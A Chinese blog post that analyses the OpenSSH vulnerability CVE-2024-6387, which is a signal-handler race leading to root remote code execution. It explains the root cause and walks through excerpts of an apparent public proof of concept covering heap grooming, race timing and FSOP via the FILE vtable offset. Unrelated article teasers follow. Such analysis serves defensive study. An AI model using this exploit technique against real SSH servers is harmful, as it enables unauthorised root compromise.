当前位置: 首页 > news >正文

CVE-2024-6387 分析

文章目录

  • 1. 漏洞成因
  • 2. 漏洞利用前置知识
    • 2.1 相关 SSH 协议报文格式
    • 2.2 Glibc 内存分配相关规则
  • 3. POC
    • 3.1 堆内存布局
    • 3.2 服务端解析数据时间测量
    • 3.3 条件竞争
    • 3.4 FSOP
  • 4. 相关挑战

原文链接:个人博客

近几天,OpenSSH爆出了一个非常严重的安全漏洞,该漏洞可导致未授权的root权限任意代码执行,即 Unauthorized root RCE。该漏洞主要影响版本为 [8.5p1, 9.8p1)。下面对该漏洞进行简要分析。

分析使用的OpenSSH版本:9.7p1

参考资料:资料

1. 漏洞成因

这个漏洞可以看做是 CVE-2006-5051 的重演,该漏洞在 8.5p1 版本被引入,产生的原因是在 commit 752250C 中错误地删除了 sigdie() 函数中的一条语句 #ifdef DO_LOG_SAFE_IN_SIGHAND,该函数在SIGALRM信号的 handler 函数中被直接调用。因此实际上该漏洞对于 <4.4p1 版本的 OpenSSH 也有效。

在 SSHd 的 main 函数中,通过 ssh_signal 函数注册了对于 SIGALRM 信号的 handler 函数 grace_alarm_handler。在 SSHd 中,如果客户端在 LoginGraceTime (较新版本默认为120s)时间内没有完成认证,则会产生 SIGALRM 信号,并异步调用 grace_alarm_handler

// sshd.c, line 2222ssh_signal(SIGALRM, grace_alarm_handler);--------------------------------------------------------------------------------// sshd.c, line 349/** Signal handler for the alarm after the login grace period has expired.*/
static void
grace_alarm_handler(int sig)
{/** Try to kill any processes that we have spawned, E.g. authorized* keys command helpers or privsep children.*/if (getpgid(0) == getpid()) {ssh_signal(SIGTERM, SIG_IGN);kill(0, SIGTERM);}/* Log error and exit. */sigdie("Timeout before authentication for %s port %d",ssh_remote_ipaddr(the_active_state),ssh_remote_port(the_active_state));
}

这里重点关注 sigdie

// log.h, line 96#define sigdie(...)		sshsigdie(__FILE__, __func__, __LINE__, 0, SYSLOG_LEVEL_ERROR, NULL, __VA_ARGS__)--------------------------------------------------------------------------------// log.c, line 450void
sshsigdie(const char *file, const char *func, int line, int showfunc,LogLevel level, const char *suffix, const char *fmt, ...)
{va_list args;va_start(args, fmt);sshlogv(file, func, line, showfunc, SYSLOG_LEVEL_FATAL,suffix, fmt, args);va_end(args);_exit(1);
}void
sshlogv(const char *file, const char *func, int line, int showfunc,LogLevel level, const char *suffix, const char *fmt, va_list args)
{...do_log(level, forced, suffix, fmt2, args);      // line 493
}--------------------------------------------------------------------------------// log.c, line 336static void
do_log(LogLevel level, int force, const char *suffix, const char *fmt,va_list args)
{...syslog(pri, "%.500s", fmtbuf);  // line 419

syslog 是libc实现的库函数。如果在其中调用了异步执行不安全的函数(如 malloc ,因为 malloc 进行内存分配时不会加锁),那么就有可能出现内存不安全问题。

事实是,它确实调用了:

// /misc/bits/syslog.h, line 28__fortify_function void
syslog (int __pri, const char *__fmt, ...)
{__syslog_chk (__pri, __USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ());
}--------------------------------------------------------------------------------// /misc/syslog.c, line 103void
__syslog_chk (int pri, int flag, const char *fmt, ...)
{va_list ap;va_start (ap, fmt);__vsyslog_internal (pri, fmt, ap, (flag > 0) ? PRINTF_FORTIFY : 0);va_end (ap);
}--------------------------------------------------------------------------------// /misc/syslog.c, line 119void
__vsyslog_internal (int pri, const char *fmt, va_list ap,unsigned int mode_flags)
{...struct tm *now_tmp = __localtime64_r (&now, &now_tm);   // line 158--------------------------------------------------------------------------------// /time/localtime.c, line 27struct tm *
__localtime64_r (const __time64_t *t, struct tm *tp)
{return __tz_convert (*t, 1, tp);
}--------------------------------------------------------------------------------// /time/tzset.c, line 566struct tm *
__tz_convert (__time64_t timer, int use_localtime, struct tm *tp)
{...tzset_internal (tp == &_tmbuf && use_localtime);    // line 577--------------------------------------------------------------------------------// /time/tzset.c, line 366static void
tzset_internal (int always)
{...__tzfile_read (tz, 0, NULL);    // line 405--------------------------------------------------------------------------------// /time/tzset.c, line 100void
__tzfile_read (const char *file, size_t extra, char **extrap)
{...FILE *f;    // line 105...f = fopen (file, "rce");    // line 162...if (__builtin_expect (__fread_unlocked ((void *) &tzhead, sizeof (tzhead),  // line 1821, f) != 1, 0)

__localtime64_r 第一次执行时,将按照上面的流程执行。可以看到,这里的 fopen 即为异步不安全函数调用,它的内部需要调用 malloc 分配一个 FILE 结构。在 __fread_unlocked 中也需要调用 malloc 分配一个 4KB 的读缓冲区。

2. 漏洞利用前置知识

要深入理解该漏洞的整个利用逻辑,首先需要了解一些前置知识。

2.1 相关 SSH 协议报文格式

OpenSSH 实现了对于 SSH 协议的所有解析逻辑,在本漏洞中,需要了解的是 SSH 协议的算法交换部分。

在 SSH 建立连接之前,首先需要完成客户端与服务端的算法协商,这些算法包括密钥交换算法、报文加密算法等。因为客户端与服务端的 SSH 版本可能不同,支持的算法也可能不同,因此需要协商出客户端与服务端都实现的算法。对于算法的协商,SSH 协议通过4个报文完成:

  1. 客户端将自身支持的算法发送至服务端。
  2. 服务端将自身支持的算法发送至客户端。
  3. 客户端向服务器发送自己选择的算法。
  4. 服务端向客户端发送响应,表示收到客户端的算法选择。

在前面两个报文中,对于支持算法的发送采用的是 ASCII 明文。具体的 SSH 报文格式如下:

  • 4 bytes – SSH 报文总长度(大端序)
  • 1 byte – padding length,即最后用于填充的字节数量
  • 1 byte – message code,即 SSH 报文消息码,算法选择的消息码为 20/0x14
  • 16 bytes – cookie
  • 变长部分 – 用于列举所有本端可用的算法。每一种算法发送的格式为:
    • 4 bytes – algorithm length,即算法描述的长度
    • 变长部分 – 算法的具体内容,以 ASCII 码形式发送

可想而知,对于服务端与客户端而言,要想实现对这个报文的解析,必须使用一定的内存空间保存这些算法的相关描述。这一逻辑在 SSHd 中通过 sshkey.c 中的 cert_parse(line 1761)函数实现。在这个函数中循环调用 malloc 函数以保存报文内容。当发送的报文解析失败时,将会调用 sshkey.c 中的 cert_free(line 569)函数循环释放这些内存空间。

2.2 Glibc 内存分配相关规则

该漏洞已经证实能够在基于 Glibc 的 Linux SSH 中完成利用。这与 Glibc 的内存分配策略高度相关。

Glibc 将一块用户可用堆内存(称为 chunk)的大小保存在其前面(低地址)的位置,当用户程序需要释放 chunk 时,Glibc 将根据这块内存的大小将 chunk 链入不同的链表中(这些链表称为 bins)。根据功能不同,Glibc 将这些 bins 分为几类:tcache、fastbin、small bin、large bin、unsorted bin。

Glibc 的内存分配主要通过 _int_malloc 函数实现,释放则主要通过 _int_free 实现。在网址中可以找到所有版本的 Glibc 源码,感兴趣的读者可自行查看。下面介绍与本漏洞相关的一些内存分配特性:

在内存分配过程中,Glibc 首先会从 tcache、fastbin、small bin 中查找,如果没有找到合适的 chunk,则会遍历 unsorted bin 进行查找。unsorted bin 中可保存任意大小的较大的 chunk,遍历过程中,如果发现不等于分配需求的 chunk,会根据其大小将其转移到合适的 small bin/large bin 中。当 unsorted bin 遍历完毕后,如果还是没有找到合适的 chunk,则会尝试在 large bins 中寻找可用的大 chunk 并拆分之。这个拆分操作需要满足多个前提条件,这里不是重点。拆分完成后,剩余的 chunk 将会保存为 last remainder,该 chunk 将被放在 unsorted bin 的开头位置,它将在下一次遍历 unsorted bin 时优先被考虑分配。需要注意的是,remainder chunk 是在其拆分完成后设置其 size 字段的。在 remainder chunk 被切分出来后,但没有设置 size 前,对 size 字段进行修改,即可实际上控制这个 chunk 的大小,可以让这个 chunk 与后面的 chunk 重叠。在 size 字段被正确修改前立即将该 chunk 分配出去,即可完成对堆内存的破坏。

为了保证其他的内存分配操作不会破坏所需的堆内存布局,客户端可以通过多次发送公钥数据包将 tcache 填满,为了提升利用的成功率,在公钥文件不大于256KB的情况下,可以生成27个上图的 large-small holes 结构,其中 chunk 的大小有微小区别。

3. POC

POC 来源:github

下面分析POC中的关键代码逻辑。通过下面的分析可以帮助读者彻底了解该漏洞的利用方式、

在POC中,首先需要进行与SSH服务器的连接与密钥交换。这部分代码不是重点,略过。

3.1 堆内存布局

void
prepare_heap (int sock)
{// Packet a: Allocate and free tcache chunksfor (int i = 0; i < 10; i++){unsigned char tcache_chunk[64];memset (tcache_chunk, 'A', sizeof (tcache_chunk));send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));// These will be freed by the server, populating tcache}// Packet b: Create 27 pairs of large (~8KB) and small (320B) holesfor (int i = 0; i < 27; i++){// Allocate large chunk (~8KB)unsigned char large_hole[8192];memset (large_hole, 'B', sizeof (large_hole));send_packet (sock, 5, large_hole, sizeof (large_hole));// Allocate small chunk (320B)unsigned char small_hole[320];memset (small_hole, 'C', sizeof (small_hole));send_packet (sock, 5, small_hole, sizeof (small_hole));}// Packet c: Write fake headers, footers, vtable and _codecvt pointersfor (int i = 0; i < 27; i++){unsigned char fake_data[4096];create_fake_file_structure (fake_data, sizeof (fake_data),GLIBC_BASES[0]);send_packet (sock, 5, fake_data, sizeof (fake_data));}// Packet d: Ensure holes are in correct malloc bins (send ~256KB string)unsigned char large_string[MAX_PACKET_SIZE - 1];memset (large_string, 'E', sizeof (large_string));send_packet (sock, 5, large_string, sizeof (large_string));
}

在这里,send_packet 实现了一个简单的 SSH 协议数据包封装,用于发送 SSH 数据包。

该函数中一共发送了4个数据包,这4个数据包的作用分别为:

  1. 填充 tcache。
  2. 创建 27 个大小 chunk 对,大 chunk 为 8KB,小 chunk 为 320B。
  3. 写入伪造的 FILE 结构体数据。
  4. 发送一个超大数据包,使得服务端对该 chunk 进行分配与释放,令 glibc 将 27 个大小 chunk 对中的 27 个大 chunk 和 27 个小 chunk 转移到 large bins 与 small bins 中。

3.2 服务端解析数据时间测量

void
time_final_packet (int sock, double *parsing_time)
{double time_before = measure_response_time (sock, 1);double time_after = measure_response_time (sock, 2);*parsing_time = time_after - time_before;printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}double
measure_response_time (int sock, int error_type)
{...struct timespec start, end;clock_gettime (CLOCK_MONOTONIC, &start);send_packet (sock, 50, error_packet,packet_size); // SSH_MSG_USERAUTH_REQUESTchar response[1024];ssize_t received;do{received = recv (sock, response, sizeof (response), 0);}while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));clock_gettime (CLOCK_MONOTONIC, &end);double elapsed= (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;return elapsed;
}

堆内存布局完成后,POC 中通过 time_final_packet 来测量服务端解析客户端发送的数据的所需时间。这里测量了两次,分别代表不同错误的解析时间。两次测量对应的错误在 SSHd 中的时间差产生于是否调用了 sshkey_from_blob,因此将两个时间段相减即可得到函数 sshkey_from_blob 的执行时间。

3.3 条件竞争

完成上述操作之后,客户端还需要发送最后一个超大的 SSH 报文。该报文是算法协商报文,长度为 SSH 协议允许的最大长度。由于 SSH 报文前面带有长度字段,因此一个 SSH 报文允许被包装在多个 TCP 报文中传输。在下面的代码中,POC 直接发送最后一个报文,但故意少发送 1 个字节,让服务端一直等待最后 1 个字节的到来:

int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{unsigned char final_packet[MAX_PACKET_SIZE];create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);// Send all but the last byteif (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0){perror ("send final packet");return 0;}

随后,进行计时,准备好在即将超时的瞬间发送最后 1 个字节:

  // Precise timing for last bytestruct timespec start, current;clock_gettime (CLOCK_MONOTONIC, &start);while (1){clock_gettime (CLOCK_MONOTONIC, &current);double elapsed = (current.tv_sec - start.tv_sec)+ (current.tv_nsec - start.tv_nsec) / 1e9;if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001)){ // 1ms before SIGALRMif (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0){perror ("send last byte");return 0;}break;}}

发送最后一个字节后,服务端发现这是一个算法协商报文,因此会多次调用 cert_parse 函数进行解析。POC 精心构造了这个超长报文,使得 cert_parse 将会循环 54 次解析过程,每次解析过程都会调用一次 malloc 函数。POC 能够让 SSHd 以 0x4096、0x304(FILE 结构体的大小)、0x4096、0x304、… 的顺序调用 malloc 函数分配内存,使得在后面的一段时间内,SSHd 会进行一系列的内存分配,同时由于超时,SSHd 将异步地执行另外的内存分配。在此之前,由于我们分配的 8KB、320 Bytes 内存中的任意内容均可控,因此完全可以提前在 320 byte 的 chunk 中写好伪造的 FILE 结构体与虚假的过大的 remainder size。这样一来,只要 syslog 抢在 remainder size 更新前将虚大的 remainder 分配出去,就能够使 remainder 部分覆盖 syslog 获取的 FILE 结构体。

注意:由于 0x320 chunk 位于 tcache,因此 syslog 获取 FILE 结构体并不会切分 remainder,这个操作是由后面分配 4KB 的读缓冲区触发的。切分 remainder 后,还会剩下一个小 remainder,_int_malloc 一更新这个小 remainder 的相关字段,就完成了对 syslogFILE 结构体的破坏。

3.4 FSOP

该漏洞在32位下可以通过 FSOP 完成利用,这主要是考虑到 32 位系统的 ASLR 保护不完善,Glibc 只能映射到两个基地址:0xb7400000 或 0xb7200000。这正给了攻击者做文章的机会。

在上一节,我们提到通过更新 remainder 的 相关字段,能够达到破坏 FILE 结构体的效果。具体而言,它实际上是修改了 FILE 结构体中的 _vtable_offset 字段:

struct _IO_FILE
{int _flags;		/* High-order word is _IO_MAGIC; rest is flags. *//* The following pointers correspond to the C++ streambuf protocol. */char *_IO_read_ptr;	/* Current read pointer */char *_IO_read_end;	/* End of get area. */char *_IO_read_base;	/* Start of putback+get area. */char *_IO_write_base;	/* Start of put area. */char *_IO_write_ptr;	/* Current put pointer. */char *_IO_write_end;	/* End of put area. */char *_IO_buf_base;	/* Start of reserve area. */char *_IO_buf_end;	/* End of reserve area. *//* The following fields are used to support backing up and undo. */char *_IO_save_base; /* Pointer to start of non-current get area. */char *_IO_backup_base;  /* Pointer to first valid character of backup area */char *_IO_save_end; /* Pointer to end of non-current get area. */struct _IO_marker *_markers;struct _IO_FILE *_chain;int _fileno;int _flags2;__off_t _old_offset; /* This used to be _offset but it's too small.  *//* 1+column number of pbase(); 0 is unknown. */unsigned short _cur_column;signed char _vtable_offset;char _shortbuf[1];_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};struct _IO_FILE_complete
{struct _IO_FILE _file;
#endif__off64_t _offset;/* Wide character stream stuff.  */struct _IO_codecvt *_codecvt;struct _IO_wide_data *_wide_data;struct _IO_FILE *_freeres_list;void *_freeres_buf;size_t __pad5;int _mode;/* Make sure we don't get into trouble again.  */char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

如果猜测 Glibc 的映射基地址为 0xb7400000,那么 last remainder 的 fd 指针与 bk 指针指向 unsorted bin 后,其值应该为 0xb761d7f8(随 Glibc 版本不同而不同,但高 2 字节基本都相同),反映到上面的 FILE 结构体中,则是将 _vtable_offset 修改为 bk 指针的第 3 个字节——0x61。

// Glibc 2.36, /malloc/malloc.c, line 4024remainder_size = size - nb;remainder = chunk_at_offset (victim, nb);unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;av->last_remainder = remainder;remainder->bk = remainder->fd = unsorted_chunks (av);

在 Glibc 中,对于文件读写等操作的相关函数是统一保存在一个个 vtable 中的,实际执行时需要首先访问 vtable,再获取其中的函数指针以调用执行。将 _vtable_offset 改为 0x61 后,syslog__fread_unlocked 将会找到 _IO_wfile_jumps 这个 vtable,选择其中的 _IO_wfile_underflow 函数执行(正常情况下应该是执行 _IO_file_jumps 中的 _IO_file_underflow)。在 _IO_wfile_underflow 中,存在下面的调用链:

_IO_wfile_underflow__libio_codecvt_inDL_CALL_FCT
// Glibc 2.36, /libio/wfileops.c, line 110wint_t
_IO_wfile_underflow (FILE *fp)
{...cd = fp->_codecvt;    // line 130...status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,fp->_IO_read_ptr, fp->_IO_read_end,&read_stop,fp->_wide_data->_IO_read_ptr,fp->_wide_data->_IO_buf_end,&fp->_wide_data->_IO_read_end);   // line 141-146...
}--------------------------------------------------------------------------------// Glibc 2.36, /libio/iofwide.c, line 161enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,const char *from_start, const char *from_end,const char **from_stop,wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{enum __codecvt_result result;struct __gconv_step *gs = codecvt->__cd_in.step;...__gconv_fct fct = gs->__fct;    // line 178...status = DL_CALL_FCT (fct,(gs, &codecvt->__cd_in.step_data, &from_start_copy,(const unsigned char *) from_end, NULL,&dummy, 0, 0));    // line 184-187...
}--------------------------------------------------------------------------------// Glibc 2.36, /iconv/skeleton.c, line 153#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif

需要注意的是,fopen 并没有对 FILE 结构体的 _codecvt 字段进行初始化,因此依然可以通过提前布置值完成对该字段的控制。

// Glibc 2.36, /libio/libio.h, line 114struct _IO_codecvt
{_IO_iconv_t __cd_in;_IO_iconv_t __cd_out;
};--------------------------------------------------------------------------------// Glibc 2.36, /libio/libio.h, line 50typedef struct
{struct __gconv_step *step;struct __gconv_step_data step_data;
} _IO_iconv_t;--------------------------------------------------------------------------------// Glibc 2.36, /iconv/gconv.h, line 83/* Description of a conversion step.  */
struct __gconv_step
{struct __gconv_loaded_object *__shlib_handle;const char *__modname;/* For internal use by glibc.  (Accesses to this member must occurwhen the internal __gconv_lock mutex is acquired).  */int __counter;char *__from_name;char *__to_name;__gconv_fct __fct;...
}

从上面的结构定义来看,我们需要的 __fct 函数指针经过多层结构包装。为了让提前写入的指针能够完整地构建调用链,攻击者可以选择将 _codecvt 写成 Glibc 的 bins 的地址,这样实际就是让 Glibc 将我们释放的 chunk 的前面一小部分看做 _IO_iconv_t 结构,接下去如法炮制,在已经释放的 chunk 中完成精心构造,即可让代码最终执行我们伪造的 __fct 函数指针,完成任意代码执行。

4. 相关挑战

该漏洞的利用较为困难,这主要是因为猜测 ASLR 与时间窗口竞争叠加的结果。

地址空间布局随机化(Address Space Layout Randomization)是一种常用的程序运行时保护方式,多次执行时,同一个段会映射到不同的内存地址。但 glibc 在32位下实际上只会映射到 0xb7400000 或 0xb7200000,因此实现 FSOP 还是有可能的。但是时间竞争窗口较小,导致总体成功率依然极低(实验室环境下6~8小时尝试平均10000次才能成功)。在64位强化 ASLR 中,通过猜测 glibc 加载地址进行攻击的利用方式就更加无法实现了。

相关文章:

CVE-2024-6387 分析

文章目录 1. 漏洞成因2. 漏洞利用前置知识2.1 相关 SSH 协议报文格式2.2 Glibc 内存分配相关规则 3. POC3.1 堆内存布局3.2 服务端解析数据时间测量3.3 条件竞争3.4 FSOP 4. 相关挑战 原文链接&#xff1a;个人博客 近几天&#xff0c;OpenSSH爆出了一个非常严重的安全漏洞&am…...

STM32 ADC精度提升方法

STM32 ADC精度提升方法 Fang XS.1452512966qq.com如果有错误&#xff0c;希望被指出&#xff0c;学习技术的路难免会磕磕绊绊量的积累引起质的变化 硬件方法 优化布局布线&#xff0c;尽量减小其他干扰增加电源、Vref去耦电容使用低通滤波器&#xff0c;或加磁珠使用DCDC时尽…...

Redis为什么设计多个数据库

​关于Redis的知识前面已经介绍过很多了,但有个点没有讲,那就是一个Redis的实例并不是只有一个数据库,一般情况下,默认是Databases 0。 一 内部结构 设计如下: Redis 的源码中定义了 redisDb 结构体来表示单个数据库。这个结构有若干重要字段,比如: dict:该字段存储了…...

零基础学习MySQL---MySQL入门

顾得泉&#xff1a;个人主页 个人专栏&#xff1a;《Linux操作系统》 《C从入门到精通》 《LeedCode刷题》 键盘敲烂&#xff0c;年薪百万&#xff01; 一、什么是数据库 问&#xff1a;存储数据用文件就可以了&#xff0c;为什么还要弄个数据库呢&#xff1f; 这就不得不提…...

HUAWEI MPLS 静态配置和动态LDP配置

MPLS(Multi-Protocol Label Switching&#xff0c;多协议标签交换技术)技术的出现&#xff0c;极大地推动了互联网的发展和应用。例如&#xff1a;利用MPLS技术&#xff0c;可以有效而灵活地部署VPN(Virtual Private Network&#xff0c;虚拟专用网)&#xff0c;TE(Traffic Eng…...

【Rust】——所有的模式语法

&#x1f4bb;博主现有专栏&#xff1a; C51单片机&#xff08;STC89C516&#xff09;&#xff0c;c语言&#xff0c;c&#xff0c;离散数学&#xff0c;算法设计与分析&#xff0c;数据结构&#xff0c;Python&#xff0c;Java基础&#xff0c;MySQL&#xff0c;linux&#xf…...

基于Python的求职招聘管理系统【附源码】

摘 要 随着互联网技术的不断发展&#xff0c;人类的生活已经逐渐离不开网络了&#xff0c;在未来的社会中&#xff0c;人类的生活与工作都离不开数字化、网络化、电子化与虚拟化的数字技术。从互联网的发展历史、当前的应用现状和发展趋势来看&#xff0c;我们完全可以肯定&…...

Python23 使用Tensorflow实现线性回归

TensorFlow 是一个开源的软件库&#xff0c;用于数值计算&#xff0c;特别适用于大规模的机器学习。它由 Google 的研究人员和工程师在 Google Brain 团队内部开发&#xff0c;并在 2015 年首次发布。TensorFlow 的核心是使用数据流图来组织计算&#xff0c;使得它可以轻松地利…...

C++:枚举类的使用案例及场景

一、使用案例 在C中&#xff0c;枚举类&#xff08;也称为枚举类型或enum class&#xff09;是C11及以后版本中引入的一种更加强大的枚举类型。与传统的枚举&#xff08;enum&#xff09;相比&#xff0c;枚举类提供了更好的类型安全性和作用域控制。下面是一个使用枚举类的案…...

中英双语介绍美国的州:明尼苏达州(Minnesota)

中文版 明尼苏达州简介 明尼苏达州位于美国中北部&#xff0c;以其万湖之州的美誉、丰富的自然资源和多样化的经济结构而著称。以下是对明尼苏达州的详细介绍&#xff0c;包括其地理位置、人口、经济、教育、文化和主要城市。 地理位置 明尼苏达州东接威斯康星州&#xff0…...

Python实现万花筒效果:创造炫目的动态图案

文章目录 引言准备工作前置条件 代码实现与解析导入必要的库初始化Pygame定义绘制万花筒图案的函数主循环 完整代码 引言 万花筒效果通过反射和旋转图案创造出美丽的对称图案。在这篇博客中&#xff0c;我们将使用Python来实现一个动态的万花筒效果。通过利用Pygame库&#xf…...

JavaScript之深入对象,详细讲讲构造函数与常见内置构造函数

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;我是前端菜鸟的自我修养&#xff01;今天给大家详细讲讲构造函数与常见内置构造函数&#xff0c;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;原创不易&#xff0c;如果能帮助到带大家&#xff0c;欢迎…...

PyQt5水平布局--只需5分钟带你搞懂

PyQt5水平布局&#xff08;QHBoxLayout&#xff09;是一种在GUI应用程序中用于组织和排列控件的布局方式。它允许开发者将控件在水平方向上从左到右依次排列&#xff0c;非常适合于需要并排显示控件的场景&#xff0c;如工具栏、水平菜单等。 import sys from PyQt5.QtWidgets…...

telegram mini app和game实现登录功能

接上一篇文章&#xff0c;我们在创建好telegram机器人后&#xff0c;开始开发小游戏或者mini App&#xff0c;那就避免不了登录功能。 公开链接 bot设置教程:https://lengmo714.top/6e79860b.html 参考教程参考教程,telegram已经给我们提供非常多的api&#xff0c;我们在获取用…...

【Python】字典练习

python期考练习 目录 1. 首都名​编辑 2. 摩斯电码 3. 登录 4. 学生的姓名和年龄​编辑 5. 电商 6. 学生基本信息 7. 字母数 1. 首都名 初始字典 (可复制) : d{"China":"Beijing","America":"Washington","Norway":…...

Apache POI、EasyPoi、EasyExcel

目录 ​编辑 &#xff08;一&#xff09;Apache PoI 使用 &#xff08;二&#xff09;EasyPoi使用 &#xff08;三&#xff09;EasyExcel使用 写 读 最简单的读​ 最简单的读的excel示例​ 最简单的读的对象​ &#xff08;一&#xff09;Apache PoI 使用 &#xff08;二&…...

gcop:简化 Git 提交流程的高效助手 | 一键生成 commit message

&#x1f496; 大家好&#xff0c;我是Zeeland。Tags: 大模型创业、LangChain Top Contributor、算法工程师、Promptulate founder、Python开发者。&#x1f4e3; 个人说明书&#xff1a;Zeeland&#x1f4e3; 个人网站&#xff1a;https://me.zeeland.cn/&#x1f4da; Github…...

TS_类型

目录 1.类型注解 2.类型检查 3.类型推断 4.类型断言 ①尖括号&#xff08;<>&#xff09;语法 ②as语法 5.数据类型 ①boolean ②number ③string ④undefined 和 null ⑤数组和元组 ⑥枚举 ⑦any 和void ⑧symbol ⑨Function ⑩Object 和 object 6.高…...

Linux源码阅读笔记10-进程NICE案例分析2

set_user_nice set_user_nice函数功能&#xff1a;设置某一进程的NICE值&#xff0c;其NICE值的计算是根据进程的静态优先级&#xff08;task_struct->static_prio&#xff09;&#xff0c;直接通过set_user_nice函数更改进程的静态优先级。 内核源码 void set_user_nice…...

Elasticsearch实战教程: 如何在海量级数据中进行快速搜索

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引入 Elasticsearch&#xff08;简称ES&#xff09;是一个基于Apache Lucene™的开源搜索引擎&#xff0c;无论在开源还是专有领…...

Python学习笔记24:进阶篇(十三)常见标准库使用之数据压缩功能模块zlib,gzip,bz2,lzma的学习使用

前言 本文是根据python官方教程中标准库模块的介绍&#xff0c;自己查询资料并整理&#xff0c;编写代码示例做出的学习笔记。 根据模块知识&#xff0c;一次讲解单个或者多个模块的内容。 教程链接&#xff1a;https://docs.python.org/zh-cn/3/tutorial/index.html 数据压缩…...

【笔记】Android Settings 应用设置菜单的界面代码介绍

简介 Settings应用中&#xff0c;提供多类设置菜单入口&#xff0c;每个菜单内又有各模块功能的实现。 那么各个模块基于Settings 基础的界面Fragment去实现UI&#xff0c;层层按不同业务进行封装继承实现子类&#xff1a; DashboardFragmentSettingsPreferenceFragment 功…...

Symfony配置管理深度解析:构建可维护项目的秘诀

Symfony是一个高度灵活且功能丰富的PHP框架&#xff0c;它提供了一套强大的配置管理系统&#xff0c;使得开发者能够轻松定制和优化应用程序的行为。本文将深入探讨Symfony中的配置管理机制&#xff0c;包括配置的结构、来源、加载过程以及最佳实践。 一、配置管理的重要性 在…...

视频的宣传片二维码怎么做?扫码播放视频的制作教程

现在很多的宣传片会通过扫码的方式来展示&#xff0c;通过将视频生成二维码之后&#xff0c;其他人就可以扫码来查看视频内容&#xff0c;从而简化获取视频的过程&#xff0c;提升视频传播的效率及用户查看视频的便捷性。目前&#xff0c;日常生活和工作中就有视频二维码的应用…...

实用的网站

前端 精简CSS格式 Font Awesome 图标库 BootCDN 加速服务 LOGO U钙网 AI AI工具集 视频下载 B站视频解析下载...

Monorepo(单体仓库)与 MultiRepo(多仓库): Monorepo 单体仓库开发策略与实践指南

&#x1f525; 个人主页&#xff1a;空白诗 文章目录 一、引言1. Monorepo 和 MultiRepo 简介2. 为什么选择 Monorepo&#xff1f; 二、Monorepo 和 MultiRepo 的区别1. 定义和概述2. 各自的优点和缺点3. 适用场景 三、Monorepo 的开发策略1. 版本控制2. 依赖管理3. 构建和发布…...

使用 PyTorch 创建的多步时间序列预测的 Encoder-Decoder 模型

Encoder-decoder 模型在序列到序列的自然语言处理任务&#xff08;如语言翻译等&#xff09;中提供了最先进的结果。多步时间序列预测也可以被视为一个 seq2seq 任务&#xff0c;可以使用 encoder-decoder 模型来处理。本文提供了一个用于解决 Kaggle 时间序列预测任务的 encod…...

开启IT世界的第一步:高考新生的暑期学习指南

目录 前言 了解IT领域 学习编程语言 实践项目 学习资源 阅读专业书籍 培养良好的学习习惯 结语 最后 - 投票 前言 七月的钟声敲响&#xff0c;各省的高考分数已揭晓&#xff0c;意味着一段紧张而又充满奋斗的旅程画上了句号。然而&#xff0c;高考的结束并不意味…...

软考系统架构师高效备考方法论

软考系统架构师高效备考方法论 本章总结的备考方法论也是希望能帮助更多的小伙伴高效的备考最终通过考试&#xff0c;这种考试个人感觉是尽量一次性考过&#xff0c; 要不然老拖着&#xff0c;虽然每年可以考两次&#xff0c;5月和11月&#xff0c;两次考试间隔5个月时间&#…...

【neo4j图数据库】入门实践篇

探索数据之间的奥秘&#xff1a;Neo4j图数据库引领新纪元 在数字化浪潮汹涌的今天&#xff0c;数据已成为企业最宝贵的资产之一。然而&#xff0c;随着数据量的爆炸性增长和数据关系的日益复杂&#xff0c;传统的关系型数据库在处理诸如社交网络、推荐系统、生物信息学等高度互…...

【TS】TypeScript 原始数据类型深度解析

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 TypeScript 原始数据类型深度解析一、引言二、基础原始数据类型2.1 boolean2.2 …...

怎么样调整分类的阈值

调整分类模型的阈值是改变模型对正负类的预测标准的一种方法&#xff0c;常用于提高精确率、召回率或者其他性能指标。以下是如何调整分类阈值的步骤和方法&#xff1a; PS&#xff1a;阈值是针对预测概率&#xff08;表示样本属于某个特定类别的可能性&#xff09;来说的 调…...

java+mysql教师管理系统

完整源码地址 教师信息管理系统使用命令行交互的方式及数据库连接实现教师信息管理系统&#xff0c;该系统旨在实现教师信息的管理&#xff0c;并根据需要进行教师信息展示。该软件的功能有如下功能 (1)基本信息管理(教师号、姓名、性别、出生年月、职称、学历、学位、教师类型…...

PDF文档如何统计字数,统计PDF文档字数的方法有哪些?

在平时使用pdf阅读或者是处理文档的时候&#xff0c;常常需要统计文档的字数。pdf在查看文字时其实很简单。 PDF文档是一种常见的电子文档格式&#xff0c;如果需要对PDF文档中的字数进行统计&#xff0c;可以使用以下方法&#xff1a; Adobe Acrobat DC&#xff1a;Adobe Ac…...

在Python asyncio中如何识别协程是否被block了

现在asyncio在Python中的使用越来越广泛了,但是很多人对于协程(corotine)的一些使用方式还不太熟悉。在这篇文章中,我将会介绍如何识别协程是否被block了,并以常用的HTTP网络库requests/httpx为例来说明如何避免协程被block的问题。 为什么协程会被block 在Python中,可…...

Hyper-V虚拟机固定IP地址(手把手教设置)

